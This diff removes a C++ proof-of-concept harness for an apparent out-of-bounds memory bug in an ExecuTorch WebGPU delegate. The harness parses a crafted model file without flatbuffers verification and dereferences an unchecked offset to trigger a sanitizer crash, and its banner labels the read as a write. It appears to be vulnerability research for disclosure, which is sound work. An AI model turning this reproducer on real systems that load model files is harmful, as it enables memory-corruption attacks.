Delete runtime_mps_poc/schemas/runtime_poc_webgpu.cpp

runtime_mps_poc/schemas/runtime_poc_webgpu.cpp

@@ -1,293 +0,0 @@
-/*
- * runtime_poc_webgpu.cpp
- *
- * Runtime PoC for the WebGPU delegate missing-verifier OOB.
- *
- * Reproduces the exact vulnerable code path from:
- *   WebGPUBackend.cpp:75     — VkGraphBufferHasIdentifier check only; no Verifier
- *   WebGPUGraph.cpp:378      — GetVkGraph(flatbuffer_data) called with NO Verifier
- *   WebGPUGraph.cpp:536-538  — cs.inline_offset = vk_bytes->offset() (no bounds check)
- *   WebGPUGraph.cpp:732-733  — constant_data_ + cs.inline_offset (OOB pointer + deref)
- *
- * The fix Vulkan got (VulkanBackend.cpp, merged 2026-05-13) and WebGPU missed:
- *   flatbuffers::Verifier verifier(flatbuffer_data, header->flatbuffer_size);
- *   ET_CHECK_OR_RETURN_ERROR(vkgraph::VerifyVkGraphBuffer(verifier), ...);
- *
- * Build:
- *   clang++ -std=c++17 -g -fsanitize=undefined \
- *       -I~/executorch_vuln/third-party/flatbuffers/include \
- *       -I. \
- *       runtime_poc_webgpu.cpp -o runtime_poc_webgpu_ubsan
- *
- * Run:
- *   ./runtime_poc_webgpu_ubsan malformed_webgpu.pte
- */
-
-#include <cstdint>
-#include <cstdio>
-#include <cstdlib>
-#include <cstring>
-#include <stdexcept>
-#include <vector>
-
-#include <flatbuffers/flatbuffers.h>
-#include "schemas/vkgraph_generated.h"
-
-// ---- WebGPUDelegateHeader (from WebGPUDelegateHeader.h/.cpp) ----------------
-
-struct WebGPUDelegateHeader {
-    uint32_t header_size;
-    uint32_t flatbuffer_offset;
-    uint32_t flatbuffer_size;
-    uint32_t bytes_offset;
-    uint64_t bytes_size;
-
-    static WebGPUDelegateHeader parse(const uint8_t* data) {
-        // magic at offset 4 must be "VH00"
-        if (memcmp(data + 4, "VH00", 4) != 0)
-            throw std::runtime_error("WebGPUDelegateHeader: bad magic");
-
-        WebGPUDelegateHeader h;
-        uint16_t hs; memcpy(&hs, data + 8,  2); h.header_size      = hs;
-        memcpy(&h.flatbuffer_offset, data + 10, 4);
-        memcpy(&h.flatbuffer_size,   data + 14, 4);
-        memcpy(&h.bytes_offset,      data + 18, 4);
-        memcpy(&h.bytes_size,        data + 22, 8);
-        return h;
-    }
-};
-
-// ---- ConstantSource (mirrors WebGPUGraph.h internals) -----------------------
-
-static const uint64_t INLINE_OFFSET_NONE = UINT64_MAX;
-
-struct ConstantSource {
-    uint64_t inline_offset = INLINE_OFFSET_NONE;
-    size_t   nbytes        = 0;
-};
-
-// ---- FlatBuffers .pte parser (extract backend_delegate_data[0].data) --------
-// Manual traversal identical to what we did for MPS.
-
-static std::vector<uint8_t> extract_delegate_payload(
-        const uint8_t* pte, size_t pte_size) {
-
-    if (pte_size < 8 || memcmp(pte + 4, "ET12", 4) != 0)
-        throw std::runtime_error("Not a valid ET12 .pte file");
-
-    // FlatBuffers root offset
-    uint32_t root_off; memcpy(&root_off, pte, 4);
-    const uint8_t* prog_table = pte + root_off;
-
-    // Program vtable
-    int32_t vtable_soff; memcpy(&vtable_soff, prog_table, 4);
-    const uint8_t* vtable = prog_table - vtable_soff;
-    uint16_t vtable_size; memcpy(&vtable_size, vtable, 2);
-
-    // Program field order (from program.fbs):
-    //   version(0)=4, execution_plan(1)=6, constant_buffer(2)=8,
-    //   backend_delegate_data(3)=10
-    uint16_t bdd_off = 0;
-    if (vtable_size > 10) memcpy(&bdd_off, vtable + 10, 2); // field index 3
-
-    if (bdd_off == 0) throw std::runtime_error("No backend_delegate_data");
-
-    const uint8_t* bdd_ptr = prog_table + bdd_off;
-
-    // bdd_ptr -> offset to vector of BackendDelegateInlineData
-    int32_t vec_rel; memcpy(&vec_rel, bdd_ptr, 4);
-    const uint8_t* vec = bdd_ptr + vec_rel;
-
-    uint32_t vec_len; memcpy(&vec_len, vec, 4);
-    if (vec_len == 0) throw std::runtime_error("Empty backend_delegate_data");
-
-    // First element offset
-    int32_t elem_rel; memcpy(&elem_rel, vec + 4, 4);
-    const uint8_t* elem = vec + 4 + elem_rel;
-
-    // BackendDelegateInlineData vtable -> field 0 = data (byte vector)
-    int32_t elem_vt_soff; memcpy(&elem_vt_soff, elem, 4);
-    const uint8_t* elem_vt = elem - elem_vt_soff;
-    uint16_t elem_vt_size; memcpy(&elem_vt_size, elem_vt, 2);
-
-    uint16_t data_off = 0;
-    if (elem_vt_size > 4) memcpy(&data_off, elem_vt + 4, 2);
-    if (data_off == 0) throw std::runtime_error("No data field in BackendDelegateInlineData");
-
-    const uint8_t* data_ptr = elem + data_off;
-    int32_t data_rel; memcpy(&data_rel, data_ptr, 4);
-    const uint8_t* byte_vec = data_ptr + data_rel;
-
-    uint32_t byte_len; memcpy(&byte_len, byte_vec, 4);
-    const uint8_t* payload = byte_vec + 4;
-
-    return std::vector<uint8_t>(payload, payload + byte_len);
-}
-
-// ---- elem_size for VkDataType -----------------------------------------------
-
-static size_t vk_datatype_size(int8_t dt) {
-    switch (dt) {
-        case 0: return 1; // BOOL
-        case 1: return 1; // UINT8
-        case 2: return 1; // INT8
-        case 3: return 4; // INT32
-        case 4: return 2; // FLOAT16
-        case 5: return 4; // FLOAT32
-        case 6: return 8; // FLOAT64
-        case 7: return 8; // INT64
-        default: return 4;
-    }
-}
-
-// ---- Main -------------------------------------------------------------------
-
-int main(int argc, char** argv) {
-    setvbuf(stdout, nullptr, _IONBF, 0);  // unbuffered so printfs appear before UBSan stderr
-    printf("==========================================================\n");
-    printf(" ExecuTorch WebGPU Delegate Runtime PoC\n");
-    printf(" CVE class  : CWE-787 (Out-of-bounds Write)\n");
-    printf(" Source     : backends/webgpu/runtime/WebGPUGraph.cpp\n");
-    printf(" Root cause : GetVkGraph() called without flatbuffers::Verifier\n");
-    printf(" Sibling    : Vulkan (same vkgraph schema) was patched 2026-05-13\n");
-    printf("==========================================================\n\n");
-
-    if (argc < 2) {
-        fprintf(stderr, "Usage: %s malformed_webgpu.pte\n", argv[0]);
-        return 1;
-    }
-
-    // Load .pte
-    FILE* f = fopen(argv[1], "rb");
-    if (!f) { perror("fopen"); return 1; }
-    fseek(f, 0, SEEK_END); long fsz = ftell(f); rewind(f);
-    std::vector<uint8_t> pte(fsz);
-    fread(pte.data(), 1, fsz, f);
-    fclose(f);
-
-    printf("[+] Loaded .pte: %ld bytes, identifier %.4s\n", fsz, pte.data() + 4);
-
-    // Extract WebGPU delegate payload from backend_delegate_data[0]
-    auto payload = extract_delegate_payload(pte.data(), pte.size());
-    printf("[+] WebGPU delegate payload: %zu bytes\n", payload.size());
-
-    // Parse WebGPUDelegateHeader (WebGPUBackend.cpp:64-75)
-    auto hdr = WebGPUDelegateHeader::parse(payload.data());
-    printf("[+] VH00 header: fb_offset=%u fb_size=%u bytes_offset=%u bytes_size=%llu\n",
-           hdr.flatbuffer_offset, hdr.flatbuffer_size,
-           hdr.bytes_offset, (unsigned long long)hdr.bytes_size);
-
-    const uint8_t* flatbuffer_data = payload.data() + hdr.flatbuffer_offset;
-    const uint8_t* constant_data   = payload.data() + hdr.bytes_offset;
-    size_t         constant_size   = (size_t)hdr.bytes_size;
-
-    // --- Reproduce WebGPUBackend.cpp:75 ---
-    // Only a 4-byte identifier check; no flatbuffers::Verifier before GetVkGraph
-    printf("\n[PoC] WebGPUBackend.cpp:75: VkGraphBufferHasIdentifier check (4-byte only — NO flatbuffers::Verifier)\n");
-    bool has_id = vkgraph::VkGraphBufferHasIdentifier(flatbuffer_data);
-    printf("[PoC] VkGraphBufferHasIdentifier: %s\n", has_id ? "true" : "false");
-
-    // --- Reproduce WebGPUGraph.cpp:378 (inside build()) ---
-    // GetVkGraph() called with NO Verifier — attacker controls the flatbuffer
-    printf("[PoC] WebGPUGraph.cpp:378: GetVkGraph(flatbuffer_data) — NO flatbuffers::Verifier\n");
-    const vkgraph::VkGraph* graph = vkgraph::GetVkGraph(flatbuffer_data);
-    printf("[PoC] GetVkGraph returned: %p\n", (void*)graph);
-
-    // --- Reproduce WebGPUGraph.cpp:480-545 (build() constant-source mapping) ---
-    printf("\n[PoC] Entering WebGPUGraph::build() constant-source mapping\n");
-    printf("[PoC] Source: backends/webgpu/runtime/WebGPUGraph.cpp\n\n");
-
-    const auto* values    = graph->values();
-    const auto* constants = graph->constants();
-
-    if (!values || !constants) {
-        fprintf(stderr, "No values/constants in graph\n");
-        return 1;
-    }
-
-    printf("[PoC] graph->values()->size()    = %u\n", values->size());
-    printf("[PoC] graph->constants()->size() = %u\n", constants->size());
-
-    ConstantSource cs;
-
-    for (unsigned i = 0; i < values->size(); i++) {
-        const auto* val = values->Get(i);
-        if (val->value_type() != vkgraph::GraphTypes_VkTensor) continue;
-
-        const auto* vk_tensor = val->value_as_VkTensor();
-
-        // Compute nbytes (WebGPUGraph.cpp:483-493)
-        size_t numel = 1;
-        if (vk_tensor->dims()) {
-            for (unsigned j = 0; j < vk_tensor->dims()->size(); j++)
-                numel *= vk_tensor->dims()->Get(j);
-        }
-        size_t elem_size = vk_datatype_size(vk_tensor->datatype());
-        size_t nbytes    = numel * elem_size;
-
-        printf("[PoC] WebGPUGraph.cpp:493: tensor[%u] numel=%zu elem_size=%zu nbytes=%zu\n",
-               i, numel, elem_size, nbytes);
-
-        int constant_id = vk_tensor->constant_id();
-        if (constant_id < 0) continue;
-
-        printf("[PoC] WebGPUGraph.cpp:516: constant_id=%d\n", constant_id);
-
-        // WebGPUGraph.cpp:527-532 — bounds check on constant_id (present in real code)
-        if (constant_id >= (int)constants->size()) {
-            printf("[PoC] constant_id out of range — would throw\n");
-            return 1;
-        }
-
-        // WebGPUGraph.cpp:534 — constants->Get() on unverified flatbuffer
-        const auto* vk_bytes = constants->Get(constant_id);
-        printf("[PoC] WebGPUGraph.cpp:534: constants->Get(%d) on unverified FlatBuffer\n", constant_id);
-
-        printf("[PoC] WebGPUGraph.cpp:536: cs.nbytes = tensor.nbytes = %zu\n", nbytes);
-        cs.nbytes = nbytes;
-
-        // WebGPUGraph.cpp:537-538 — THE MISSING BOUNDS CHECK
-        printf("[PoC] WebGPUGraph.cpp:537: if (vk_bytes->offset() != UINT64_MAX)\n");
-        printf("[PoC] WebGPUGraph.cpp:537: vk_bytes->offset() = 0x%llx\n",
-               (unsigned long long)vk_bytes->offset());
-
-        if (vk_bytes->offset() != UINT64_MAX) {
-            cs.inline_offset = vk_bytes->offset();
-            printf("[PoC] WebGPUGraph.cpp:538: cs.inline_offset = 0x%llx  (NO bounds check vs constant_data size)\n",
-                   (unsigned long long)cs.inline_offset);
-            printf("[PoC] constant_data section is %zu bytes — offset 0x%llx is WAY past it\n",
-                   constant_size, (unsigned long long)cs.inline_offset);
-        }
-    }
-
-    // --- Reproduce WebGPUGraph.cpp:717-733 (materialize_constant) ---
-    printf("\n[PoC] Entering materialize_constant() (WebGPUGraph.cpp:717-733)\n");
-    printf("[PoC] WebGPUGraph.cpp:728: cs.inline_offset != UINT64_MAX -> true\n");
-    printf("[PoC] WebGPUGraph.cpp:732: wgpuQueueWriteBuffer(queue_, dst, 0,\n");
-    printf("[PoC]                          constant_data_ + cs.inline_offset, cs.nbytes)\n");
-    printf("[PoC] constant_data_ = %p\n", (void*)constant_data);
-    printf("[PoC] cs.inline_offset = 0x%llx\n", (unsigned long long)cs.inline_offset);
-    printf("[PoC] cs.nbytes = %zu\n", cs.nbytes);
-    printf("[PoC] *** OUT-OF-BOUNDS: constant_data_ + 0x%llx is %llu bytes past a %zu-byte section ***\n\n",
-           (unsigned long long)cs.inline_offset,
-           (unsigned long long)cs.inline_offset - constant_size,
-           constant_size);
-
-    printf("[PoC] Executing OOB pointer arithmetic now...\n");
-
-    // Exact expression from WebGPUGraph.cpp:733:
-    //   wgpuQueueWriteBuffer(queue_, dst, 0, constant_data_ + cs.inline_offset, cs.nbytes)
-    // wgpuQueueWriteBuffer reads from [constant_data_+cs.inline_offset, +cs.nbytes).
-    // UBSan catches OOB pointer arithmetic first; then SEGV on dereference.
-    const uint8_t* oob_ptr = constant_data + cs.inline_offset;
-    printf("[PoC] oob_ptr = %p (computed from constant_data_ + 0x%llx)\n",
-           (void*)oob_ptr, (unsigned long long)cs.inline_offset);
-
-    // Force a dereference — this is what wgpuQueueWriteBuffer does internally
-    // when it reads the source buffer to upload to the GPU.
-    volatile uint8_t byte = *oob_ptr;
-    (void)byte;
-
-    printf("[PoC] SHOULD NOT REACH HERE\n");
-    return 0;
-}